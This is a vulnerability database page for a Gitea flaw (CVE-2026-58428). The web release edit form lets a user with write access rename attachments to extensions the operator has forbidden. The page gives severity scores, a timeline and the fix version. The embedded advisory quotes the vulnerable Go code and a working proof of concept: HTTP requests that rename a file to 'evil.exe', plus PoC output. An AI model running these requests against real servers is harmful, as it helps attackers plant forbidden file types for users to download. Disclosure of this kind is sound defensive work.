CVE-2026-58428VulnerabilityPublished 21 Jul 2026

code.gitea.io/gitea · Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)

Affects code.gitea.io/giteaSource GCVE Database

Mentioned vulnerabilities

CVE-2025-68939

Authoritative record:CVE-2026-58428· Medium 6.5

Not known to be exploited · CVSS 6.5 Medium : upgrade to 1.27.0 when convenient.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

6.5Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 39% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 1.27.0

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: Low
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: High
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: Low: The attacker is authorized with (i.e., requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

t = 0 is the CVE’s publication on cve.org

Disclosed: evidence found.
CVE published 13 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: evidence found.
CISA SSVC: proof of concept public
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

CVE ID reserved
by Gitea Limited
30 Jun 202618:57 UTC, 44 days before disclosure
CVE published
on cve.org
13 Aug 202616:44 UTC, t = 0
CISA SSVC assessment
proof of concept public
14 Aug 202617:29 UTC, 25 hours after disclosure

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), CISA SSVC, the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade code.gitea.io/gitea to 1.27.0.

Affected software

Product	Affected	Fixed in
Gocode.gitea.io/gitea	Affected <1.27.0	Fixed in 1.27.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary The web handler `EditReleasePost` (`routers/web/repo/release.go`) reads form fields with prefix `attachment-edit-{uuid}` into a `map[uuid]newName`, passes that map to `release_service.UpdateRelease`, which writes the new name to the database via `repo_model.UpdateAttachmentByUUID` WITHOUT calling `upload.Verify` against `setting.Repository.Release.AllowedTypes`. The parent CVE-2025-68939 fix (PR #32151) added the equivalent `upload.Verify` call on the API edit endpoints via `attachment_service.UpdateAttachment`. The web release edit path was not updated. A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist. ## Details ### Vulnerable code `routers/web/repo/release.go:597` `EditReleasePost`: ```go const editPrefix = "attachment-edit-" editAttachments := make(map[string]string) if setting.Attachment.Enabled { for k, v := range ctx.Req.Form { if strings.HasPrefix(k, editPrefix) { editAttachments[k[len(editPrefix):]] = v[0] } } } ... if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo, rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil { ctx.ServerError("UpdateRelease", err) return } ``` `services/release/release.go:321` -- the unvalidated write: ```go for uuid, newName := range editAttachments { if !deletedUUIDs.Contains(uuid) { if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{ UUID: uuid, Name: newName, }, "name"); err != nil { return err } } } ``` No `upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes)` before the database write. ### Comparison: the parent fix on the API path `routers/api/v1/repo/release_attachment.go:341` (patched in PR #32151): ```go if err := attachment_service.UpdateAttachment(ctx, setting.Repository.Release.AllowedTypes, attach); err != nil { if upload.IsErrFileTypeForbidden(err) { ctx.Error(http.StatusUnprocessableEntity, "", err) return } ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach) return } ``` Delegates to: ```go // services/attachment/attachment.go:96 func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error { if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil { return err } return repo_model.UpdateAttachment(ctx, attach) } ``` The API path goes through `attachment_service.UpdateAttachment` which calls `upload.Verify(nil, attach.Name, allowedTypes)`. The web path bypasses this entirely. ## Proof of Concept Tested live against: * Gitea `v1.26.1` community edition, Linux amd64, SQLite, Go 1.26.2 * `app.ini` includes `[repository.release] ALLOWED_TYPES = .zip,.tar.gz` * Two users: `admin` (superuser, created via `gitea admin user create --admin`), `bob` (regular, repo owner of `bob/test-repo`) **Step 1**: bob creates release v0.1 and uploads `innocent.zip` (allowlist compliant) via the API. **Step 2**: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension. ```http PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 Authorization: token <bob_token> Content-Type: application/json {"name":"evil.exe"} ``` Response: `HTTP 422` -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action). **Step 3**: The attack. The web release edit form does NOT enforce the allowlist. ```http POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1 Cookie: i_like_gitea=<session>; lang=en-US Content-Type: application/x-www-form-urlencoded tag_name=v0.1 &tag_target=main &title=rename+payload &content= &attachment-edit-<existing_attachment_uuid>=evil.exe ``` Response: `HTTP 303 -> /bob/test-repo/releases`. The form is accepted with no validation error. **Step 4**: Verify. ```http GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1 ``` Response includes `"name": "evil.exe"`. The download link `/attachments/<uuid>` now serves the file under the forbidden extension. A self contained Python PoC ships with this advisory: `GITEA-R007_release_edit_extension_bypass.py`. End to end run: [GITEA-R007_release_edit_extension_bypass.py](https://github.com/user-attachments/files/27739265/GITEA-R007_release_edit_extension_bypass.py) ``` [+] Logged in as bob [+] Pre-attack attachment name: 'innocent2.zip' [+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix) [+] POST release edit: HTTP 303 -> /bob/test-repo/releases [+] Post-attack attachment name: 'pwn.exe' [!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist. ``` ## Impact Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2): * Pre-condition: operator has set `Repository.Release.AllowedTypes` to

CWE-424Improper Protection of Alternate Path (opens in a new tab)
Class weaknessOWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
Architecture and Design
Deploy different layers of protection to implement security in depth.
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V8.3.8 (opens in a new tab)
V13.4.2 (opens in a new tab)
V7.2.2 (opens in a new tab)
Attack patterns
Directory Indexing (opens in a new tab)
Functionality Bypass (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-434Unrestricted Upload of File with Dangerous Type (opens in a new tab)
Base weaknessLikelihood of exploit: MediumCWE Top 25 (2025): #12OWASP Top 10 A06:2025: Insecure Design (opens in a new tab)
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.
Architecture and Design
Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.
Architecture and Design · Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
Architecture and Design
Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically.
OWASP Cheat Sheets
Server Side Request Forgery Prevention (opens in a new tab)
Web Service Security (opens in a new tab)
Third Party Javascript Management (opens in a new tab)
File Upload (opens in a new tab)
Secure Design Principles (opens in a new tab)
OWASP ASVS 4.0.3
V12.5.2 (opens in a new tab)
V13.1.5 (opens in a new tab)
V12.2.1 (opens in a new tab)
Attack patterns
Accessing Functionality Not Properly Constrained by ACLs (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

Timeline

What to do

Affected software

Description

WeaknessesCWE-424, CWE-434

Technical details

References

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